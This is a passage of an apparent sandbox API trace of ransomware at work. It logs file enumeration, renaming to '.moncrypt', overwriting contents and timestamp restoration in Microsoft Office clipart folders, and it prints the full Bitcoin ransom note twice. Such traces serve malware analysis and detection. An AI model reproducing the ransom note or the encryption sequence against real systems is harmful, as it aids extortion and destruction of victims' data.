TO RECOVER ENCRYPTED FILES.TXT\x06") returned 34 [0060.088] GlobalLock (hMem=0x44000c) returned 0x550170 [0060.088] GlobalHandle (pMem=0x550170) returned 0x44000c [0060.088] GlobalUnlock (hMem=0x44000c) returned 0 [0060.088] GlobalLock (hMem=0x44000c) returned 0x550170 [0060.088] GlobalLock (hMem=0x440004) returned 0x557b78 [0060.088] GlobalHandle (pMem=0x550170) returned 0x44000c [0060.088] GlobalUnlock (hMem=0x44000c) returned 0 [0060.088] GlobalHandle (pMem=0x557b78) returned 0x440004 [0060.088] GlobalUnlock (hMem=0x440004) returned 0 [0060.088] CompareStringA (Locale=0x400, dwCmpFlags=0x0, lpString1="{{IDENTIFIER}}\r\n\r\nAll your files have been encrypted due to a security problem with your PC.\r\n\r\nNow you should send us email with your personal identifier.\r\nThis email will be as confirmation you are ready to pay for decryption key.\r\nYou have to pay for decryption in Bitcoins. The price depends on how fast you write to us.\r\nAfter payment we will send you the decryption tool that will decrypt all your files.\r\n\r\nContact us using this email address: moncoin@protonmail.com\r\n\r\nFree decryption as guarantee!\r\nBefore paying you can send us up to 3 files for free decryption.\r\nThe total size of files must be less than 10Mb (non archived), and files should not contain\r\nvaluable information (databases, backups, large excel sheets, etc.).\r\n\r\nIf you are waiting for a message from us for more than 12 hours, check spam folder.\r\n\r\nAttention!\r\n * Do not rename encrypted files.\r\n * Do not try to decrypt your data using third party software, it may cause permanent data loss.\r\n * Decryption of your files with the help of third parties may cause increased price \r\n (they add their fee to our) or you can become a victim of a scam.", cchCount1=14, lpString2="{{IDENTIFIER}}", cchCount2=14) returned 2 [0060.088] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HOW TO RECOVER ENCRYPTED FILES.TXT", lpFindFileData=0x18eb1c | out: lpFindFileData=0x18eb1c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x44a8b4c0, ftCreationTime.dwHighDateTime=0x1d5ddc0, ftLastAccessTime.dwLowDateTime=0x44a8b4c0, ftLastAccessTime.dwHighDateTime=0x1d5ddc0, ftLastWriteTime.dwLowDateTime=0x44a8b4c0, ftLastWriteTime.dwHighDateTime=0x1d5ddc0, nFileSizeHigh=0x0, nFileSizeLow=0x649, dwReserved0=0x503a80, dwReserved1=0x5664e257, cFileName="HOW TO RECOVER ENCRYPTED FILES.TXT", cAlternateFileName="HOWTOR~1.TXT")) returned 0x54e240 [0060.089] FileTimeToLocalFileTime (in: lpFileTime=0x18eb30, lpLocalFileTime=0x18eab0 | out: lpLocalFileTime=0x18eab0) returned 1 [0060.089] FileTimeToDosDateTime (in: lpFileTime=0x18eab0, lpFatDate=0x18eafe, lpFatTime=0x18eafc | out: lpFatDate=0x18eafe, lpFatTime=0x18eafc) returned 1 [0060.089] FindClose (in: hFindFile=0x54e240 | out: hFindFile=0x54e240) returned 1 [0060.089] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HOW TO RECOVER ENCRYPTED FILES.TXT" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\how to recover encrypted files.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x188 [0060.089] SetFilePointer (in: hFile=0x188, lDistanceToMove=0, lpDistanceToMoveHigh=0x18ed04*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18ed04*=0) returned 0x0 [0060.089] SetFilePointer (in: hFile=0x188, lDistanceToMove=0, lpDistanceToMoveHigh=0x18ed04*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18ed04*=0) returned 0x649 [0060.089] SetFilePointer (in: hFile=0x188, lDistanceToMove=0, lpDistanceToMoveHigh=0x18ed04*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18ed04*=0) returned 0x0 [0060.089] SetFilePointer (in: hFile=0x188, lDistanceToMove=0, lpDistanceToMoveHigh=0x18ed04*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18ed04*=0) returned 0x0 [0060.089] SetFilePointer (in: hFile=0x188, lDistanceToMove=0, lpDistanceToMoveHigh=0x18ed04*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18ed04*=0) returned 0x649 [0060.089] SetFilePointer (in: hFile=0x188, lDistanceToMove=0, lpDistanceToMoveHigh=0x18ed04*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18ed04*=0) returned 0x0 [0060.089] ReadFile (in: hFile=0x188, lpBuffer=0x1dcc068, nNumberOfBytesToRead=0x649, lpNumberOfBytesRead=0x18ed28, lpOverlapped=0x0 | out: lpBuffer=0x1dcc068*, lpNumberOfBytesRead=0x18ed28*=0x649, lpOverlapped=0x0) returned 1 [0060.089] CloseHandle (hObject=0x188) returned 1 [0060.090] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eea4 | out: lpFindFileData=0x18eea4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5133d8d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x928, dwReserved0=0x0, dwReserved1=0x0, cFileName="AN04108_.WMF", cAlternateFileName="")) returned 1 [0060.090] FileTimeToLocalFileTime (in: lpFileTime=0x18eeb8, lpLocalFileTime=0x18edc4 | out: lpLocalFileTime=0x18edc4) returned 1 [0060.090] FileTimeToDosDateTime (in: lpFileTime=0x18edc4, lpFatDate=0x18ee86, lpFatTime=0x18ee84 | out: lpFatDate=0x18ee86, lpFatTime=0x18ee84) returned 1 [0060.090] GlobalLock (hMem=0x440004) returned 0x550170 [0060.090] GlobalHandle (pMem=0x550170) returned 0x440004 [0060.090] GlobalUnlock (hMem=0x440004) returned 0 [0060.090] GlobalLock (hMem=0x440004) returned 0x550170 [0060.090] GlobalLock (hMem=0x44000c) returned 0x557b78 [0060.090] GlobalHandle (pMem=0x550170) returned 0x440004 [0060.090] GlobalUnlock (hMem=0x440004) returned 0 [0060.090] GlobalHandle (pMem=0x557b78) returned 0x44000c [0060.090] GlobalUnlock (hMem=0x44000c) returned 0 [0060.090] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0060.090] CharLowerBuffW (in: lpsz="AN04108_.WMF", cchLength=0xc | out: lpsz="an04108_.wmf") returned 0xc [0060.090] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="f", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="fí\x18", lpUsedDefaultChar=0x0) returned 1 [0060.090] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="m", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mí\x18", lpUsedDefaultChar=0x0) returned 1 [0060.090] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="w", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="wí\x18", lpUsedDefaultChar=0x0) returned 1 [0060.090] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".í\x18", lpUsedDefaultChar=0x0) returned 1 [0060.090] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="_", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_í\x18", lpUsedDefaultChar=0x0) returned 1 [0060.090] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="8", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="8í\x18", lpUsedDefaultChar=0x0) returned 1 [0060.090] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="0", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="0í\x18", lpUsedDefaultChar=0x0) returned 1 [0060.091] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="1", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="1í\x18", lpUsedDefaultChar=0x0) returned 1 [0060.091] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="4", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="4í\x18", lpUsedDefaultChar=0x0) returned 1 [0060.091] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="0", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="0í\x18", lpUsedDefaultChar=0x0) returned 1 [0060.091] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="n", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ní\x18", lpUsedDefaultChar=0x0) returned 1 [0060.091] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="a", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aí\x18", lpUsedDefaultChar=0x0) returned 1 [0060.091] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e390f8, cbMultiByte=34, lpWideCharStr=0x18dd64, cchWideChar=2047 | out: lpWideCharStr="how to recover encrypted files.txtXT\x06") returned 34 [0060.091] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04108_.WMF", cchWideChar=63, lpMultiByteStr=0x18dd40, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04108_.WMF", lpUsedDefaultChar=0x0) returned 63 [0060.091] CharLowerBuffW (in: lpsz=".WMF", cchLength=0x4 | out: lpsz=".wmf") returned 0x4 [0060.091] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".wmf", cchWideChar=4, lpMultiByteStr=0x18dd64, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".wmfT\\PUB60COR\\AN04108_.WMF", lpUsedDefaultChar=0x0) returned 4 [0060.091] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04108_.WMF", lpFindFileData=0x18eb04 | out: lpFindFileData=0x18eb04*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5133d8d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x928, dwReserved0=0x0, dwReserved1=0x0, cFileName="AN04108_.WMF", cAlternateFileName="")) returned 0x54e240 [0060.091] FileTimeToLocalFileTime (in: lpFileTime=0x18eb18, lpLocalFileTime=0x18ea30 | out: lpLocalFileTime=0x18ea30) returned 1 [0060.091] FileTimeToDosDateTime (in: lpFileTime=0x18ea30, lpFatDate=0x18eae6, lpFatTime=0x18eae4 | out: lpFatDate=0x18eae6, lpFatTime=0x18eae4) returned 1 [0060.091] FindClose (in: hFindFile=0x54e240 | out: hFindFile=0x54e240) returned 1 [0060.091] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04108_.WMF", dwFileAttributes=0x20) returned 1 [0060.092] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e699f0, cbMultiByte=9, lpWideCharStr=0x18da40, cchWideChar=2047 | out: lpWideCharStr=".moncrypt") returned 9 [0060.092] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04108_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04108_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04108_.WMF.moncrypt" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04108_.wmf.moncrypt")) returned 1 [0060.093] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04108_.WMF.moncrypt" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04108_.wmf.moncrypt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x188 [0060.093] SetFilePointer (in: hFile=0x188, lDistanceToMove=0, lpDistanceToMoveHigh=0x18ea10*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18ea10*=0) returned 0x0 [0060.093] SetFilePointer (in: hFile=0x188, lDistanceToMove=0, lpDistanceToMoveHigh=0x18ea10*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18ea10*=0) returned 0x928 [0060.093] SetFilePointer (in: hFile=0x188, lDistanceToMove=0, lpDistanceToMoveHigh=0x18ea10*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18ea10*=0) returned 0x0 [0060.093] ReadFile (in: hFile=0x188, lpBuffer=0x1dbe1c8, nNumberOfBytesToRead=0x928, lpNumberOfBytesRead=0x18ea34, lpOverlapped=0x0 | out: lpBuffer=0x1dbe1c8*, lpNumberOfBytesRead=0x18ea34*=0x928, lpOverlapped=0x0) returned 1 [0060.095] GlobalLock (hMem=0x44000c) returned 0x550170 [0060.095] GlobalLock (hMem=0x440004) returned 0x557b78 [0060.095] GlobalHandle (pMem=0x550170) returned 0x44000c [0060.095] GlobalUnlock (hMem=0x44000c) returned 0 [0060.095] GlobalHandle (pMem=0x557b78) returned 0x440004 [0060.095] GlobalUnlock (hMem=0x440004) returned 0 [0060.095] GlobalLock (hMem=0x440004) returned 0x550170 [0060.095] GlobalHandle (pMem=0x550170) returned 0x440004 [0060.095] GlobalUnlock (hMem=0x440004) returned 0 [0060.095] SetFilePointer (in: hFile=0x188, lDistanceToMove=0, lpDistanceToMoveHigh=0x18ea28*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18ea28*=0) returned 0x0 [0060.095] WriteFile (in: hFile=0x188, lpBuffer=0x1dbe1c8*, nNumberOfBytesToWrite=0x940, lpNumberOfBytesWritten=0x18ea30, lpOverlapped=0x0 | out: lpBuffer=0x1dbe1c8*, lpNumberOfBytesWritten=0x18ea30*=0x940, lpOverlapped=0x0) returned 1 [0060.095] WriteFile (in: hFile=0x188, lpBuffer=0x18eaac*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x18ea30, lpOverlapped=0x0 | out: lpBuffer=0x18eaac*, lpNumberOfBytesWritten=0x18ea30*=0x8, lpOverlapped=0x0) returned 1 [0060.095] WriteFile (in: hFile=0x188, lpBuffer=0x1e61d08*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x18ea30, lpOverlapped=0x0 | out: lpBuffer=0x1e61d08*, lpNumberOfBytesWritten=0x18ea30*=0x1, lpOverlapped=0x0) returned 1 [0060.107] WriteFile (in: hFile=0x188, lpBuffer=0x1d7d8d8*, nNumberOfBytesToWrite=0x9c, lpNumberOfBytesWritten=0x18ea30, lpOverlapped=0x0 | out: lpBuffer=0x1d7d8d8*, lpNumberOfBytesWritten=0x18ea30*=0x9c, lpOverlapped=0x0) returned 1 [0060.107] CloseHandle (hObject=0x188) returned 1 [0060.107] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04108_.WMF.moncrypt" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04108_.wmf.moncrypt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x188 [0060.108] SetFileTime (hFile=0x188, lpCreationTime=0x18ead4, lpLastAccessTime=0x18eacc, lpLastWriteTime=0x18eac4) returned 1 [0060.108] CloseHandle (hObject=0x188) returned 1 [0060.108] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04108_.WMF.moncrypt", dwFileAttributes=0x20) returned 1 [0060.108] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e390c8, cbMultiByte=34, lpWideCharStr=0x18dd68, cchWideChar=2047 | out: lpWideCharStr="HOW TO RECOVER ENCRYPTED FILES.TXT\x06") returned 34 [0060.108] GlobalLock (hMem=0x440004) returned 0x550170 [0060.108] GlobalHandle (pMem=0x550170) returned 0x440004 [0060.108] GlobalUnlock (hMem=0x440004) returned 0 [0060.108] GlobalLock (hMem=0x440004) returned 0x550170 [0060.108] GlobalLock (hMem=0x44000c) returned 0x557b78 [0060.108] GlobalHandle (pMem=0x550170) returned 0x440004 [0060.108] GlobalUnlock (hMem=0x440004) returned 0 [0060.108] GlobalHandle (pMem=0x557b78) returned 0x44000c [0060.108] GlobalUnlock (hMem=0x44000c) returned 0 [0060.109] CompareStringA (Locale=0x400, dwCmpFlags=0x0, lpString1="{{IDENTIFIER}}\r\n\r\nAll your files have been encrypted due to a security problem with your PC.\r\n\r\nNow you should send us email with your personal identifier.\r\nThis email will be as confirmation you are ready to pay for decryption key.\r\nYou have to pay for decryption in Bitcoins. The price depends on how fast you write to us.\r\nAfter payment we will send you the decryption tool that will decrypt all your files.\r\n\r\nContact us using this email address: moncoin@protonmail.com\r\n\r\nFree decryption as guarantee!\r\nBefore paying you can send us up to 3 files for free decryption.\r\nThe total size of files must be less than 10Mb (non archived), and files should not contain\r\nvaluable information (databases, backups, large excel sheets, etc.).\r\n\r\nIf you are waiting for a message from us for more than 12 hours, check spam folder.\r\n\r\nAttention!\r\n * Do not rename encrypted files.\r\n * Do not try to decrypt your data using third party software, it may cause permanent data loss.\r\n * Decryption of your files with the help of third parties may cause increased price \r\n (they add their fee to our) or you can become a victim of a scam.", cchCount1=14, lpString2="{{IDENTIFIER}}", cchCount2=14) returned 2 [0060.109] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HOW TO RECOVER ENCRYPTED FILES.TXT", lpFindFileData=0x18eb1c | out: lpFindFileData=0x18eb1c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x44a8b4c0, ftCreationTime.dwHighDateTime=0x1d5ddc0, ftLastAccessTime.dwLowDateTime=0x44a8b4c0, ftLastAccessTime.dwHighDateTime=0x1d5ddc0, ftLastWriteTime.dwLowDateTime=0x44a8b4c0, ftLastWriteTime.dwHighDateTime=0x1d5ddc0, nFileSizeHigh=0x0, nFileSizeLow=0x649, dwReserved0=0x503a80, dwReserved1=0x5664e257, cFileName="HOW TO RECOVER ENCRYPTED FILES.TXT", cAlternateFileName="HOWTOR~1.TXT")) returned 0x54e240 [0060.109] FileTimeToLocalFileTime (in: lpFileTime=0x18eb30, lpLocalFileTime=0x18eab0 | out: lpLocalFileTime=0x18eab0) returned 1 [0060.109] FileTimeToDosDateTime (in: lpFileTime=0x18eab0, lpFatDate=0x18eafe, lpFatTime=0x18eafc | out: lpFatDate=0x18eafe, lpFatTime=0x18eafc) returned 1 [0060.109] FindClose (in: hFindFile=0x54e240 | out: hFindFile=0x54e240) returned 1 [0060.109] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HOW TO RECOVER ENCRYPTED FILES.TXT" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\how to recover encrypted files.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x188 [0060.109] SetFilePointer (in: hFile=0x188, lDistanceToMove=0, lpDistanceToMoveHigh=0x18ed04*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18ed04*=0) returned 0x0 [0060.109] SetFilePointer (in: hFile=0x188, lDistanceToMove=0, lpDistanceToMoveHigh=0x18ed04*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18ed04*=0) returned 0x649 [0060.109] SetFilePointer (in: hFile=0x188, lDistanceToMove=0, lpDistanceToMoveHigh=0x18ed04*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18ed04*=0) returned 0x0 [0060.109] SetFilePointer (in: hFile=0x188, lDistanceToMove=0, lpDistanceToMoveHigh=0x18ed04*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18ed04*=0) returned 0x0 [0060.109] SetFilePointer (in: hFile=0x188, lDistanceToMove=0, lpDistanceToMoveHigh=0x18ed04*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18ed04*=0) returned 0x649 [0060.109] SetFilePointer (in: hFile=0x188, lDistanceToMove=0, lpDistanceToMoveHigh=0x18ed04*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18ed04*=0) returned 0x0 [0060.109] ReadFile (in: hFile=0x188, lpBuffer=0x1dcc068, nNumberOfBytesToRead=0x649, lpNumberOfBytesRead=0x18ed28, lpOverlapped=0x0 | out: lpBuffer=0x1dcc068*, lpNumberOfBytesRead=0x18ed28*=0x649, lpOverlapped=0x0) returned 1 [0060.110] CloseHandle (hObject=0x188) returned 1 [0060.110] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eea4 | out: lpFindFileData=0x18eea4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5eb8e810, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x17ac, dwReserved0=0x0, dwReserved1=0x0, cFileName="AN04117_.WMF", cAlternateFileName="")) returned 1 [0060.110] FileTimeToLocalFileTime (in: lpFileTime=0x18eeb8, lpLocalFileTime=0x18edc4 | out: lpLocalFileTime=0x18edc4) returned 1 [0060.110] FileTimeToDosDateTime (in: lpFileTime=0x18edc4, lpFatDate=0x18ee86, lpFatTime=0x18ee84 | out: lpFatDate=0x18ee86, lpFatTime=0x18ee84) returned 1 [0060.110] GlobalLock (hMem=0x44000c) returned 0x550170 [0060.110] GlobalHandle (pMem=0x550170) returned 0x44000c [0060.110] GlobalUnlock (hMem=0x44000c) returned 0 [0060.110] GlobalLock (hMem=0x44000c) returned 0x550170 [0060.110] GlobalLock (hMem=0x440004) returned 0x557b78 [0060.110] GlobalHandle (pMem=0x550170) returned 0x44000c [0060.110] GlobalUnlock (hMem=0x44000c) returned 0 [0060.110] GlobalHandle (pMem=0x557b78) returned 0x440004 [0060.110] GlobalUnlock (hMem=0x440004) returned 0 [0060.110] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0060.110] CharLowerBuffW (in: lpsz="AN04117_.WMF", cchLength=0xc | out: lpsz="an04117_.wmf") returned 0xc [0060.110] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="f", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="fí\x18", lpUsedDefaultChar=0x0) returned 1 [0060.111] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="m", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mí\x18", lpUsedDefaultChar=0x0) returned 1 [0060.111] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="w", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="wí\x18", lpUsedDefaultChar=0x0) returned 1 [0060.111] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".í\x18", lpUsedDefaultChar=0x0) returned 1 [0060.111] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="_", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_í\x18", lpUsedDefaultChar=0x0) returned 1 [0060.111] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="7", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="7í\x18", lpUsedDefaultChar=0x0) returned 1 [0060.111] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="1", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="1í\x18", lpUsedDefaultChar=0x0) returned 1 [0060.111] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="1", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="1í\x18", lpUsedDefaultChar=0x0) returned 1 [0060.111] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="4", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="4í\x18", lpUsedDefaultChar=0x0) returned 1 [0060.111] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="0", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="0í\x18", lpUsedDefaultChar=0x0) returned 1 [0060.111] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="n", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ní\x18", lpUsedDefaultChar=0x0) returned 1 [0060.111] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="a", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aí\x18", lpUsedDefaultChar=0x0) returned 1 [0060.111] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e390f8, cbMultiByte=34, lpWideCharStr=0x18dd64, cchWideChar=2047 | out: lpWideCharStr="how to recover encrypted files.txtXT\x06") returned 34 [0060.111] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04117_.WMF", cchWideChar=63, lpMultiByteStr=0x18dd40, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04117_.WMF", lpUsedDefaultChar=0x0) returned 63 [0060.111] CharLowerBuffW (in: lpsz=".WMF", cchLength=0x4 | out: lpsz=".wmf") returned 0x4 [0060.111] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".wmf", cchWideChar=4, lpMultiByteStr=0x18dd64, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".wmfT\\PUB60COR\\AN04117_.WMF", lpUsedDefaultChar=0x0) returned 4 [0060.111] 